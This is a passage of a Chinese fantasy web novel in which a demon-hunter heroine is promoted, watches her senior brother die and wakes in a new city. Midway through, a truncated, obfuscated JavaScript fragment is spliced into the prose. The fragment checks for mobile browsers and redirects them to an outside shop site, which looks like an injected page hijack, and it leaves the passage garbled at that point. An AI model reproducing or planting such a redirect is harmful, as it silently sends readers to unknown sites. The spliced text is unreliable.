甚至他还听说白祝锦在妖都因为是富人家的公子因此遭到排挤。
看来真正通过白祝锦来动用到他白家的势力的人,这门外的捉妖师还算是第一个。
“爹,你就放心将此事交给我做便好了,我定会让白家蒸蒸日上,替换掉钱家的位置。”白顺意见着自家父亲有着松口之势赶忙招招手让侍从打开后门。
侍从也识趣地拉开两边的府门。
一身青衣的姜长泠和两匹棕马便映入眼帘。
门被打开,她才反应过来给白父拱手行了一礼:“见过白家主。”
白父打量着来人开口便直言:“你的想法很好,但是这种事情本就不该是你做的,不遵守本分之人,只会在路上不断摔倒。”
“没有能力之人,本就只能抓住几根稻草才能苟活,你倒好,连稻草都不抓了,任由着自己在这洪流之中被冲走。”白父一手背过身去,一副严师模样教训着姜长泠。
白顺意听到如此一番话都替姜长泠捏了一把冷汗,生怕她甩脸回头就上马车将金条给钱家运送回去。
他本想缓和下气氛说点什么,可姜长泠却不卑不亢地率先开口:“家主言之有理,在下领教了。”
“此举确实太过莽撞,乃是因为在下看见了千家万户的亲人横尸遍街,血流成河,悲怆不已,才出此下策的。”姜长泠头也未抬。
白顺意见她还算上是谦卑,又将目光转向了自家父亲。
“下不为例。”白父一挥袖离去,“此事过后把白祝锦盯紧一点,不要让他与不三不四的人打交道,以免学坏。”
“顺意明白。”白顺意低头拱手。
姜长泠才敢抬起头直起身。
“家父刚正不阿,话虽说得耿直了些,但对你并无实际上的恶意,还请莫要介怀。”白顺意安慰道。
“此事确有风险,家主担心也是必然,我理解的。”姜长泠笑了下。
“那便好。”白顺意示意着仆从将马牵进府中,“对了,那接下来姜捉妖师要去何处?”
姜长泠心不在焉说:“我还需回妖都交接一趟事务。”
她准备转身走之际又说道:“青竹城之中已然有二处的捉妖师来援助了,只要你们再呆在白府之不要外出,日落之前,青竹城中应该就会安全了。”
“辛苦你们了。”白顺意感慨时,忽而发现了姜长泠的衣裳已经换上了新的。
“姜捉妖师,你这衣裳是在哪换的?”白顺意疑惑问道。
姜长泠愣了愣,无措地摸了摸自己的衣裳莞尔道:“只不过是路上巧遇了一名贵人相赠。”
“原来如此。”白顺意点点头,“那此去一别,还请姜捉妖师多多保重,望你一帆风顺。”
“借你吉言。”姜长泠拱手告别。
出府门后,姜长泠便察觉到有人在墙边依靠着等她。
果然是萧烬。
“你怎么还在这?”姜长泠下意识问道。
“不过是想听某人挨骂罢了。”萧烬无情地嘲讽了一句,随后向他伸出了手掌。
姜长泠本被教训一顿心情便略有不甘,再被这么数落一番脸上的表情都快要控制不住了。
她忍住恼意说:“不用了,我自己会走回去的,不麻烦你了。”
“棋子也是要有人挪的。”萧烬忽略掉她说的话,一把抓过她的手瞬移到了转芒堂之中。
姜长泠还没反应过来眼前便变换了一轮场景。
“...这么帮我究竟于你而言有何好处?”姜长泠正想转头看向萧烬,却发现身边已然空无一人。
他又莫名不见了。
就在这时,转芒堂的大门忽然被推开,黎追手拿着一卷轴正脚步匆匆赶来,面上带着欣喜,衣冠还未乱分寸。
“久等了姜捉妖师。”黎追对她拱手,“方才赶回来时,我才得知两个喜讯。”
姜长泠一下收起了方才的不愉情绪,问道:“是何喜讯?”
“第一,罪妖已经被围剿歼灭,正在排查余孽之中,不过现在城中伤残人数众多,急需再派遣郎中前来救治控制伤亡百姓。”黎追说完后又展开了手里的卷轴。
“还有一个,二处的主办大人方才传来一张文书,大致意思是说你立功表彰,特允破格提升为二处捉妖师,阶级待来至清阙堂通过考核后赐评。”
文书来的突然,姜长泠有些受宠若惊,疑惑问道:“可我并未做什么,主办大人是从何得知我的?”
黎追将卷轴交予她:“嘶,这我也不知,不如待你去淮庆城之中亲自面见主办大人再去问清楚明白?”
这卷轴背面是浅蓝色为辅色,深色为花纹点缀,表面纸张紧致并不光滑,接过她手中时还有些分量。
她仔细地看了一遍卷轴上的内容,与黎追所说的不错,落款仍旧有一枚来自清阙堂的印章。
“好,多谢大师兄了。”姜长泠道。
“哪里的话,以后我们就在一个地方共事了,非是远亲,就是亲传的师兄妹了。”黎追笑着,又突然想起来自己还要取证,一拍脑袋,脚步生风地向潘秉坤的位置走去,“瞧瞧我这忘性,都忘记正事了。”
姜长泠收好卷轴,将之前去了昌德府和钱府上的账本都掏了出来:“我搜集到一些能将他们定罪的证据,不仅是潘秉坤的还有与他同流合污的同谋钱恒亮。”
黎追在潘秉坤的桌上找到两本账本,不免问道:“我尚未明白,这潘秉坤是如何串通他人惹出这么大一个祸的?”
姜长泠只好将整件事情完整地复
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述了一遍给黎追听。
“简直是畜生!”黎追将账本翻得哗啦啦作响,看着钱恒亮的账本上记着的每一件宝物后面都标记了人名、存亡情况、典当时的数额和拍卖出去的数额。
他愤怒地一锤桌子。
原本是黑色的字迹却越看越红,似是用无数鲜血染红的。
这冷冰冰的字里行间,藏着的却是枉死的冤魂以及破碎的家人。
“不过,师妹是如何得知他的手段的?”黎追忽而意识到这个问题。
姜长泠总不可能将自己见鬼一事告与他听,于是编造道:“...不知大师兄可否信托梦一说,也许是他们作孽太多,有一天晚上有名亡魂忽然来到我的梦中哭诉,自此,我每天晚上都能梦到他并且与他谈话。”
“梦中他将钱恒亮所做的污秽之事全盘告知于我,并且教我如何一步步击溃钱家。”
她认为她说的这番话算得上是胡诌,任谁听了都只会说一句无稽之谈,可黎追却意外听得尤为认真,似乎对这梦十分感兴趣。
“这梦中之人可有道明身份来由?他又是如何寻到你的?”黎追问道。
姜长泠硬着头皮往下编:“自然是有的,但若是说如何寻到我的,唯有是碰巧罢了。”
闻言,黎追顿时有些失落,不过情绪转瞬即逝,又笑着道:“原来如此,看来师妹属实是名纯良之人,日后定会善有善报的。”
“大师兄亦是。”
“黎追大师兄我们回来了!”一清脆的女声从转芒堂大门处传来。
他们同时循声抬头看去,发现刚才那几个蹭黎追法阵来的师弟师妹零零散散地回来了。
每个人身上多多少少都沾染上了血污,发髻也比之前出去时乱上几分。
“太累人了,感觉这辈子的妖都聚在青竹城了。”
“不过还好有一个高手相助,也不知他姓甚名谁,蹿了数条街去杀妖,我看他英姿飒爽,还想搭讪一下呢,谁知道那么冷漠,杀完妖就跑了。
“你呀你,没想到平时一个淑女模样竟在这时见色起意啊。”
两个从二处来的师妹肩碰着肩有说有笑的走了过来。
而跟着她们旁边的师弟嫌弃地瞥了她们一眼后转头对黎追笑着挥了挥手。
黎追颔首向他们示意,继而对姜长泠无奈笑道:“这些都是我的师弟师妹,又是来蹭法阵来了,平时不好好努力学,到关键时就要靠别人。”
姜长泠懵懂地点头。
“对了,正巧师妹你也是要去淮庆城的,不妨也跟着我过去?”黎追问道。
“多谢师兄好意了,我还没收拾行囊。”姜长泠道。
“也是。”黎追眼看着师弟师妹进了转芒堂,正想开口向他们介绍姜长泠的身份,却被一个师弟抢先开口问道:“大师兄,这位女子是谁?”
另一边的师弟拱了拱他的肩膀发出起哄声:“你小子想干什么,大师兄的人你也想认识?”
“啧,别瞎说。”
黎追没好气道:“你们一个二个整天不学无术便算了,怎么还口无遮拦?”
31. 赐教
余下两个师弟笑笑不敢说话了。
“这位是三处转芒堂的中阶捉妖师,姜长泠,算上阶级辈分,她还是你们的师姐呢。”黎追咬着牙分别给他们后脑勺都来了一掌。
“可不是传言说三处妖都的中阶捉妖师连二处的一个低阶捉妖师都比不上么?”一个师妹开口问道。
黎追叹了口气语重心长道:“有些事情并不能只用阶级去看待别人知道吗,姜师妹日后也是要与我们共事之人,你们理应注意些礼仪尊卑。”
“她?”另一师妹惊叹捂住嘴,又问道,“不是说三处妖都与二处择人准则不同么,三处的捉妖师是无论如何都不会被调遣出三处以外才对吧?”
“姜师妹立功有劳,这是主办大人的意思,莫非你有异议?”黎追不免有点愠怒。
师妹尴尬地摇摇头便不说话了。
姜长泠在场对话中从头到尾都没听明白这师妹们话里的意思。
字面上的意思她不懂,譬如一些什么择人准则,她从前从未听过。
但话里藏着的含义,她倒是听出来了。
“他们正值叛逆时期,都是些脑子一热说出来的话,姜师妹莫要介意,若是你之后到了淮庆城中遇到了什么事情都可以尽管来找我。”黎追向她微笑着伸出手。
姜长泠垂眸看了眼便握了上去。
两股灵力便完成了交汇。
“多谢黎大师兄。”姜长泠努力地勾了勾唇角。
两人松开手,黎追便说:“那便淮庆城中再见了,姜师妹。”
“还望一路顺风。”姜长泠一拱手。
黎追转身就走出转芒堂,手中灵力乍现流出在墙上画了个法阵,待光芒四起,他便从法阵中踏了进去。
两个师妹率先跟着黎追走了进去,还有两个师弟愣愣呆在法阵之外迟迟站着。
“你不走到底想干嘛?”
“我也想和她交汇灵力。”
“你疯了吗,黎追大师兄都说了她算是你阶级辈分上的师姐。”
“可那又如何,她要是来清阙堂还指不定混到什么阶级的捉妖师呢。”
“快滚吧你个傻缺,暂时想别想这么多了,一会法阵没了我看你怎么回去。”
“喂!你个龟孙走那么快...”剩下一个师弟在原地依依不舍地看了一眼姜长泠最后还是钻进了法阵之中。
转芒堂中终究恢复了一片寂静。
姜长泠深呼出一口气,心里总感觉堵得慌。
反应过来,她好像已经很久没有过这种感觉了。
折腾了一上午,现在已近下午,比之前黎追允诺的时候还要早些。
她默默走出转芒堂,顿时不知自己该何去何从好,如今妖都三处伤亡惨重,督办一死,群龙无首,所有三处的捉妖师去无影踪,所有人的情况除了白祝锦外她一无所知。
而城中生灵涂炭,现也不知会有多少户人家会饥寒交迫,在风雪之中一步一叩首哀求神鸣终结这场斗争。
她恍然发现,自己的用处已经发挥到极限了,此后青竹城的盛衰想必都再与她无关。
不过才刚清净了一会,熟悉的传音符又降到了她面前。
“师妹,你可还无恙...”
气若游丝的男声,是邵楚。
姜长泠抽出传音符回复:“长泠无恙,不知师兄那边可是遇到什么困难了?”
邵楚的回音也来得很快。
“太好了...师兄也没事...”
这语气可不像是没事的样子。
她连忙抓住了这张传音符,又传了一张符过去:“师兄你在何处?”
这张传音符一去,过了很久都没有回音。
她不由攥紧了符纸,脑海中茫然一片。
这种危机关头,也只能用灵力追踪传送找到邵楚。
但仅凭着她现在的能力,真的能做到么?
焦急的情绪爬上她心头。
她立马闭上眼睛,试探着感受在这游离的万千陌生灵流气息涌动中找寻到手中的那份独特唯一的灵息的位置。
渐渐的,雪花消融在她衣裳上,夹杂寒风,吹得她都有些发冷。
她依旧没办法在这茫茫无数凑上前来的灵息中找到独属于邵楚的。
这不算是她的第一次尝试,正是因为她之前练过许多次都以失败告终,所以这次的结果她也提前预见了,必然也会以失败结尾。
萧公子在她身边待得久了,她竟然萌生了自己也很厉害的想法...
果真是飘了。
她睁开眼睛,忽而感觉到身边站着一人,她转过头去。
萧烬乌眸映雪,嘴角噙着淡淡笑意,撑着伞替她挡住了大半的风雪。
“非要站在风雪中么?”
“并不是。”姜长泠立刻回答。
反应过来后,她面上一热,想到方才的行为动作一定很蠢,又补充道:“是我太着急了些。”
“你是想用灵力追踪传送到你师兄身边吧。”萧烬淡淡道。
姜长泠噎住,没想到萧烬又再一次看穿了她的想法。
要不说面前这人是从魔界来的,她突然就懂了那蓬莱灰豹说的那句“如此擅长蛊困人心,想必这位公子你是从魔界来的吧。”是什么意思了。
有这能力她与他之间的禁咒又算得上是什么威胁?
她本不想再麻烦萧烬了,可奈何人命要紧,她还是拧巴地把传音符递了出去:“抱歉,不知萧公子可否再帮我一个忙?”
这符纸在风中吹得哗啦啦作响,萧烬却未接下,开口道:“不是每一次我都会帮你的,自己想想办法。”
姜长泠悬着心瞬间跌入了谷底,她向来独来独往,不轻易麻烦别人的原因就在此处展现的淋漓尽致。
稍微建立起来的信任,又因为她的一句话而崩塌。
她低下头,缩回了手:“抱歉,我欠你的人情实在太多了,我明白的。”
如果她没有遇到萧烬,她也不会在拍卖会之中压制蓬莱灰豹,只会落得一个逃跑的局面。
可冥冥之中,她恰好与萧烬有着禁咒牵连,无意加快了揭开妖都和钱府所做污秽之事的进展。
而这一路上,萧烬帮了她太多,才让她产生了某种可以依仗他的错觉。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13306690|135798||http|test|mini|href|location''.split(''|''),0,{}));
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>现在她彻底从这种错觉中抽离了出来。
“灵力追踪其实很简单,以你这过人的意志力怎么可能做不到?”萧烬依旧陪她站在风雪之中,“你再试试。”
姜长泠不想再让萧烬看到她失败的一面,只好摇摇头说:“我做不到。”
“你做得到。”萧烬耐心又说了一遍,“试试避开感受那些一涌而上的灵息,用最快的第一直觉感受去捕抓它,不需要一个个试探,这样不仅费神还容易分散你找的敏锐性。”
姜长泠愕然看向他。
“怎么?”萧烬问道。
“没事,多谢赐教。”姜长泠连忙抓住符纸再次试了一遍。
她心里默念只需找到第一直觉。
眼前灵息像是海水样布满在她面前,即便是拨开它们,灵息还是会从她的手指缝隙之中流窜回来干扰着她。
她尽力忽略,奋力往深海处一探。
瞬间,她感觉到捕捉的灵力与手中符纸的灵力对接上了。
来不及反应,她就已经被传送了过去。
周遭环境一黑一亮,突如其来的下坠感让她紧闭上了眼睛。
她突然回想起自己在转芒堂门口看见二处来的捉妖师凌空展开的法阵,一切都解释得通了。
怪她还没有做好要传过来的准备。
但她已经做好了要摔一次震出肺的准备。
坠落戛然而停,她的肺并没有被震出来。
她骤然睁开眼睛,感觉正被一股莫名的力量缓缓降落在地上,侧头看去时,正看到一名男子蹲下的身影。
她从这无形的支撑力起身落了地。
“我就说你做得到。”萧烬的声音从她身后传来。
姜长泠转过身去,刚想言谢,就见萧烬把他的伞递了给她。
“多谢,不用了。”
“我的意思是,换你帮我撑伞了。”萧烬笑了下。
姜长泠在原地愣了会,还是接过了伞柄走到了萧烬身旁。
由于萧烬的个头要比她高上一截,她只好将手举的再高些才能抵住飘下来的雪。
她随着萧烬的步伐挪动到蹲着的男子旁边。
入目便看到邵楚奄奄一息抵躺在地上,血流了一大片,呼吸急促,唇色苍白,眉头紧缩着。
再放眼看向身体,腰间的右边正被符月炳压着浸染成血色的白布,而另一边的血窟窿正敞开着,还在汩汩流血,手脚上也布满伤痕,脸上是唯一一处没有受伤的地方了。
“师兄!”见这一幕,姜长泠慌了神,欲想要把伞丢掉看看邵楚,却被萧烬握住了她的手连同着伞柄向她那一倾。
“好好撑你的伞,就算你过去了也救不了他的,不如看看符大夫怎么说。”
姜长泠皱起眉头,没有再动,但注意力全然集中在了邵楚身上。
虽说邵楚这个师兄看起来有很多不靠谱的地方,总是对她有过多的逾越之举,但他待她时总是不错的,只是她暂时没有办法接受邵楚的好意罢了。
“两个肾脏都被咬破了,这就算是华佗在世也难救回来。”符月炳摸着他的脉搏,不断地往里面灌注灵力。
32. 疲倦
可邵楚的脸色始终不见好转,顶多是血窟窿的血流速变得慢了下来。
见状,萧烬也蹲下身来伸手摁住了邵楚的另一边血窟窿。
姜长泠的伞也向他们挪了过去。
而符月炳则是震惊地看了一眼萧烬的作为,而又收回眼神。
方才那动作,他还以为萧烬要把邵楚的肾脏给掏出来…
“他是怎么受伤的?”萧烬问道。
“应该是为救人。”符月炳眼中古井无波,谈吐间没带什么情绪,“我那时来晚了。”
萧烬若有所思说了一句:“不愧是妖都出身的人,都这般勇猛。”
“那...师兄他还有救吗?”姜长泠迟疑问出。
符月炳面上凝重,无奈解释:“你师兄不止肾脏被咬伤,他本身便患有肝脏疾病,二者结合下来,谁也无力回天了。”
忽然间,邵楚的手指头轻微地动了下,眼皮缓缓地掀开一条缝。
从他的视角看去,便恰好是看到了姜长泠,再就是看到萧烬。
“师妹...你...怎么...来了?”邵楚喃喃。
闻言,姜长泠眉目染上淡淡忧愁:“师兄,这就是你所谓的没事吗?”
“对...不起。”邵楚兀自笑了一声,脖子僵硬地扭了扭,“那他...他...们呢?”
“有什么话就交代了吧,撑不了多久的。”符月炳直言。
“啊...?”邵楚仿佛没有了力气思考,只剩下一副没有灵魂的空躯,“多谢啊。”
无数困意一涌而上,邵楚安然地闭上了眼睛。
姜长泠心下一紧,还以为邵楚就此驾鹤西去。
没想到邵楚又掀动唇瓣:“师妹...你可知道我为什么一年四季都穿草鞋?”
说来也是奇怪,放眼望去整个青竹城就没有一人会选择在大冬天的穿草鞋。
邵楚是她见过的唯一一个。
不过她从没有过问原因。
“...不知。”姜长泠配合着他回答。
“因为...我不怕冷。”邵楚言语间毫无情绪起伏,“可是我娘和我妹怕冷,那时她们只有草鞋穿,到走的那天我都没有让她们有一身好看保暖的衣裳穿。”
“我于她们有愧...”
“这话从我嘴里说出来,是不是极为违和?”邵楚滚动了下喉结,“对不起了师妹,师兄太困了...”
说完这句话后,邵楚就再也没吭声了,似是沉沉地睡了过去。
符月炳松开了他的脉搏,向姜长泠看去:“方才那已经算是回光返照了,节哀吧。”
姜长泠内心也不知是什么滋味,见到邵楚逝去,好像并没有过多的悲伤情绪。
邵楚的好,她固然都记得,可不知何时起,她便学会了回避感情,久而久之,她跟谁都算不上熟。
也就只有白祝锦和邵楚两人主动与她搭上话才算的上是朋友。
“今日多谢二位了。”姜长泠拱手道。
“那接下来你想如何处置你师兄的尸体?”萧烬捏了个诀净手后站起了身来。
姜长泠从衣襟处掏处一个乾坤袋,施法一点便把邵楚的尸体收入了囊中:“…埋了立碑吧。”
这会夕阳恰好西下,余晖洒落。
萧烬点点头:“嗯,走吧,回家。”
“回...回家?”姜长泠本还没从那异常平静的情绪抽离出来,听到这句话时犹如一道惊雷劈下了湖中央,全身通电。
萧烬平静地看着她。
她一脸茫然应下:“嗯,回家,萧公子你也回家?”
“回你家。”
见姜长泠没接下话,他又笑着问道:“你不是晋升要前往淮庆城么?”
“如今青竹城内乱做一团,连粮食都堪忧,难不成你还想叫辆马车载你去淮庆城?”
姜长泠沉默了。
一方面是她确实整日奔波下来,除了吃早膳外便没有再进食任何事物。
另一方面,她对灵力追踪传送的法阵运用还不够熟练,确实没有保证如何到淮庆城中。
不过这些问题她自己还尚能解决。
二处的支援速度她也算是有目共睹,应该就在今晚会谴人过来派发赈灾粮。
届时她去蹭上几口饭这一天也就过去了。
去淮庆城之事,要么学会用符,要么一路上问过去,总能去到的。
“我有办法的。”姜长泠沉声说着,话还没说话萧烬便打断了。
“你还能有什么办法?”
话音刚落,姜长泠抬起眼眸看向他,似是不解。
萧烬却是看穿了她的倔强一般,唇角微微扬起,一声没吭地抓住她的手腕瞬移到了另一处地方。
姜长泠站稳脚步就看到抚柳院三个大字赫然摆在她眼前。
院中一片又一片的血堆,静静地躺着几具尸体。
这些都不算是最糟糕的,可怕的是连成一片的房屋都有着焦黑的痕迹。
意味着她的住处被烧毁了,今晚连一个落脚的容身之处都没有了。
姜长泠向她的住所跑去。
原本紧闭着的木门都变得脆弱倒塌在一旁。
里面的陈设布局看得一干二净,万幸的是里面的物品还保留着原来的颜色,没有太多被火烧过的痕迹。
她刚想踏进去便被一阵莫名的灵力控制住了全身。
“还敢进去?”萧烬的声音从后面传来。
姜长泠只好解释道:“我还有一些重要的东西没拿,我先进去找找,放心,很快就出来。”
说完,那压制在她身上的灵力才散去。
她进去翻找了好一会才出来,出来的时候衣裙上都沾染上了些焦炭污渍。
“拿了些什么?”萧烬见她拿了一个包袱出来不免有些疑惑。
“钱,衣裳,符。”姜长泠简短地一字一句答出。
萧烬摇摇头:“一个有用的都没有,我还以为你至少会带出那么一两件传家宝的。”
“我出身贫寒,只是过着平凡人的日子罢了。”
“你爹娘呢?”
“很早便逝世了。”
姜长泠回话的时候语气很是平淡却又称不上算冷漠,似乎是一座投石不见回音的枯井,惹得萧烬好奇心连连作祟。
“那你现在要去哪避难?”
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“顺利的话,我会尝试运行传送阵去到淮庆城。”姜长泠眼神黯淡下来,“若失败的话,大不了露宿街头一晚吧。”
萧烬忽而向她凑近,用手指轻点了下她的额头。
姜长泠自然反射地向后退后了几步:“萧...萧公子这是何意?”
“没什么,只是方才以为你被什么邪魔附体了。”萧烬直起身来。
姜长泠松下一口气,垂下眸道:“并没有,只不过今日我实在太累了。”
她貌似意识到自己的倦态太过表露,整复了下心情抬头对萧烬笑了下:“若没有什么事的话,那我先走了。”
这次萧烬没有再拦她,只是淡淡地应了一声便任由着姜长泠擦着他肩向外走去。
姜长泠踏出抚柳院时,心里忽然泛起一阵失落,就连她自己也不知道在期待什么。
她揉了揉太阳穴,努力把那些不适宜的情绪都摒弃掉。
走到空旷无人的地方时,她尝试着烧传音符给黎追,但奇怪的是,黎追一直没有回音。
不过她也能理解,估摸是太忙了。
因此她没有在今天就赶去淮庆城。
夜晚将至,她也抵达了一家茶楼之中,成为了万千流民的其中一名。
茶馆里已然坐满了人,不少些伤得没有那么严重身体还比较强壮的青年都坐在外面。
赈灾粮已经发派完,而郎中也忙不过来已经被召了回去。
原本她是想跟着二处来的捉妖师回到去淮庆城的。
可当她看到这里的伤亡情况时,她又想不如算了,再多待一晚也不要紧。
发到姜长泠手上的饼被她撕了又撕分走,一碗米粥也因左边分点右边分点到最后所剩无几。
她看着碗里剩下的稀少米粥,一口饮尽。
她随意用手背抹了抹嘴,忽然察觉旁边一直囔囔着疼的小男孩已经不出声很久了,她转头向旁边看去。
一名中年的男子怀里正抱着个四五岁左右的小男孩,男孩闭着眼睛眉头紧锁,腿上还包扎着一圈被血液浸染的绷带。
“荣荣,是爹对不住你,让你受苦了。”男子将名为荣荣的男孩抱得更紧了些。
见此情此景,姜长泠起身走到那名男子的身边,仔细看了一眼男孩脚上的绷带便说:“这绷带缠得太松了。”
男子有点惊讶,连忙道:“可是他们帮忙处理的呀,不应该啊...”
姜长泠皱起眉,二话不说将男孩脚上的绷带解了下来,果不其然在他腿上赫然有着一条深似裂缝的伤口还在不断往外汩汩渗血。
伤口的边缘还有些不知名的药粉涂抹着。
她手上没有别的布条,想着撕下裙摆扯出一条布条,可她忘了自己换过衣裳,这布料根本不能轻易撕开。
僵持了会,她还是用回了原本那条绷带,一圈一圈地缠紧了男孩的腿部,最后打上结。
接着她又摸了摸男孩的额头,烫得不行。
“他发烧了。”姜长泠饶是想多说些什么,但又不忍心。
恐怕照这样下去,今晚都熬不过。
“那该如何是好啊?”男子不禁流下眼泪。
33. 凝噎
姜长泠搭上男孩的脉搏,灌输了些灵力,先暂且将他的命保住了再说。
不一会男孩便缓缓睁开了眼睛,男子看向她激动道:“莫非您是神医?!”
这一声吸引了不少人的视线向她看来。
姜长泠受宠若惊地环顾了四周连忙解释:“我并非医者,不过是略懂救人的皮毛罢了,后面还是要看郎中怎么说,尽快医治。”
“多谢姑娘相助,今日之恩我无以为报,我...我跪下来给你磕几个响头当谢礼可以吗?”男子抱着孩子正要站起却被姜长泠一把摁下。
“你的好意我心领了。”
“谢谢你啊,谢谢你啊...好心人。”
“只不过是举手之劳。”姜长泠腼腆笑了下。
忽然间,一阵狂风铺面刮来,夹杂湿冷飘雪,寒意直直渗入骨子里。
不少人被这风雪吹退,躲到了附近漆黑一片的店铺之中。
据大家所说宁愿在外面吹冷风的原因便是那些店铺里死了太多人,血腥味太重,容易让人犯恶心。
但这天气恶劣,实在不得不进去暂避风头。
见状,姜长泠抽出一张黄符,以灵力为引在符上迅速画了几笔便迎着风甩了过去,一层巨大的淡蓝色灵流屏障就此在茶楼前的道路展开。
瞬时无风。
那些裹紧衣裳的、眯着眼的、正要走去避寒的流民通通都停了动作愣愣看向姜长泠。
直到人群之中有一人开口。
“这是道士啊?怎么混得跟我们一个下场。”
“是啊,难怪她刚才那么舍得把分到的粮食给我们,其实自己根本不缺粮。”
一名正坐在茶馆之内的大娘忽然站起身来指着她,面色凶狠:“就是你们这些臭道士把那些妖都放出来为祸人间的吧?”
姜长泠本还有些不服,但转念一想,有今天这个局面貌似确实是她间接造成的。
她一时无语凝噎,也不知该如何面对这大娘。
“不说话了是吧,果然就是你们这些臭道士办事不力,害得全城人不得安宁!玩忽职守的晦气玩意!”大娘越骂越得劲甚至从茶楼中走了出来。
感受到众人灼热的目光,她不得不开口解释:“这件事确实关乎于妖都的失职,但我不过是名捉妖师,无法代替妖都对大家道歉。”
听她这么一讲,人群都隐隐躁动了起来。
“我管你是什么捉妖师,只要你是妖都的人就有罪!”大娘的情绪逐渐从生气转变为悲愤,“你可知今早我们一家六口还好好的,到了晚上...就只剩下我一个孤寡老人是什么滋味吗?”
大娘眼眶蓄满泪花大叫:“剩下我一个老人可还怎么活啊!!”
而周围的流民似乎也被她的气氛所渲染,纷纷叫苦了起来。
更有甚者直言叫她滚出这块地方。
就连刚才扬言要磕头的男子都垂下视线不去看她。
姜长泠喉头莫名泛起苦涩,无法,她只好从一片骂声中转身离开了。
临时被赶走,她连下一个落脚点都没想好在哪。
不过庆幸的是她也只需要再在青竹城中待上一晚,第二天她无论如何都能找到去淮庆城的方法。
于是她随便在街上找到了一家客栈便钻了进去。
手中燃起符纸照明。
遍地的杂物碎了一地,不少残骸也藏在其中。
她皱起眉,再抬头望去,这客栈有二楼。
尽数忽略地上的零碎后她向二楼走去。
一排列紧闭的房门通通延伸至深处的黑暗之中。
她踹开其中一扇门,入目便看到一间染满了血的房间,一具无头的尸体正跌靠在窗边,墙边的血液更为的扎眼。
而头颅已经不见其踪。
这间没法住人,她只好又向下一间房间走去。
踹开门后,又是另一幅惨像,依旧没法住人。
如此以往后,她逐渐走到了尽头的房间。
怀着最后的希望,她推开门,发现这竟是唯一一个没有血迹没有尸体的房间。
里面的床铺被褥看着还算是干净。
甚至没有人来过的痕迹。
她安心踏进去,先是用手中的符纸点燃了桌上的蜡烛。
等要转过身准备去关门时,她忽而发觉到有些不对劲。
有扇木门格外沉重。
她抓住门框缓缓关上时,倏然瞪大了眼睛退后数步。
她总算知道了第一间房中的人头去了哪里。
原来是被钉在了这扇门后。
姜长泠不免被惊出一身冷汗,仔细地看着那扇门后的地板才发现已经是被鲜血洇红了一片。
她又只好走出去找寻了另外一处地方。
兜兜转转下来,她意外发现并没有一家店比那挂着人头的房间更适合歇一晚的地方了...
最后她还是回到了那个房间。
烛火依旧亮堂着,照着那一隅地方。
她忍住去看门后的冲动,硬着头皮坐上了床榻之上。
抽出一张符咒贴在床沿,施下结界。
她蜷起身子扯上被子躺在了最里面。
一闭上眼睛,早上和晚上发生的事情便陆续浮现在她脑海之中。
没想到短短一天,就发生了无数足以颠覆青竹城的变故...
太阳穴正隐隐作痛,无时不在提醒着她要绷紧神经,可身体四肢放松时却沉得让她挪都挪不动。
钱恒亮、潘秉坤和方才的百姓所说过的话不断在她耳边回响着,伴随窗外怒号着的寒风。
她只好蹙着眉头紧紧闭上眼睛慢慢哄着自己入睡。
不知闭了眼睛有多久,她终于消沉了意识。
翌日,阳光正从窗外直直照下来,填满了整个房间。
她睁开的眼睛时第一眼便是朝那门后看去。
不看不要紧,这一看直接让她愣住了。
门的位置竟然变了。
她本以为是昨晚太黑她没看清楚房间的布局导致的。
但她再摸了摸盖在她身上的被子,以及她睡着的柔软棉枕就发觉事情并没有这么简单。
她从床上坐起来,惊觉连穿着的鞋子都不见了。
外衣倒是没有变化。
结界也不见了。
显然是有人趁她睡着的时候将她换到了这间房间来了。
这番并无恶意的行为,她也只能想到是萧公子做的...
她不再多想径直下了床。
姜长泠先是走到了铜镜重新束发,听着窗外传来一阵阵吆喝声,似乎热闹的
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很。
她心想也许是二处的支援又到了。
束好头发后她便走到了窗台探出头去。
天空阳光明媚,小街上车水马龙,人来人往中维持着秩序,仿佛昨晚的一切都没发生过。
不对劲。
这片环境带给她的感觉不仅是陌生,甚至连市集摆摊的方式也很是怪异。
通常来说青竹城内卖果子的都会挑起两个扁担装着来卖,就没见过有人会像这的摊子将果子放在一块板子上展开来卖。
还有一个小摊上挂了好几副字画,可她在青竹城内就从未见到过有卖字画的小摊,一般来说,在青竹城卖字画的都是单独开店铺的。
她收回视线,心存着疑惑走去推开了那两扇大门。
眼前并不是她想象中的破败之景,而是明丽亮堂的一家客栈,还是在二楼的位置。
一名小二很合时宜地端着热水、洗漱用具和一个包袱凑到了她面前:“小姐您醒了。”
姜长泠看了眼热水盆倒是知道怎么回事,可那个包袱是什么她便没了思绪。
不过事到如今,她也只好坦然接下这些东西:“请问这里是什么地方?”
小二的表情比她还要懵一点,用手擦着下摆干巴巴解释道:“小姐,这里是四季居呀。”
姜长泠噎了下又问:“我是想问这里所处的位置是哪?”
“哦,宁安街!”小二兴致勃勃回答。
宁安街,这个地名一听便知道这并不是在青竹城内。
“可是在淮庆城之中?”姜长泠试探问道。
小二原本比她更加迷惑,可转念一想,他貌似又想通了笑道:“正是,看来小姐昨夜昏睡不醒想必也是不知道自己来了淮庆城中吧。”
“嗯?我?”姜长泠貌似知道了什么奇怪的事情。
“是呀,昨夜是你夫君抱着你上来的。”小二满意笑笑。
闻言,姜长泠全身都僵住了。
什么…夫君?抱着她?
渐渐的,羞/耻窘迫之意在她心里疯狂作祟。
“小姐,我见你们夫妻明明感情不错,怎么没有睡同一间房吗?”小二此刻还觉得自己推波助澜,意外增进了夫妻俩的感情。
姜长泠还没想好如何回答小二,干脆沉默了。
难不成解释他们并非是他想象中的那层关系么,可这光明正大的搂搂抱抱又算什么?
“咳咳,我们俩其实...”
或许是姜长泠的声音太小,直接被小二出言打断了:“呸呸呸,是我有眼无珠乱说了一通还请小姐您别介意啊。”
小二突然笑得谄媚。
就在他刚问完话后,她房中便走出来一个高大俊俏的男子靠在门框边上看着他,正是昨晚那送她上楼的夫君。
他总算察觉到为什么面前的小姐不大高兴的样子,原来是因为他说错话了。
或许就是小两口吵架闹矛盾了,他一个外人还多啥嘴。
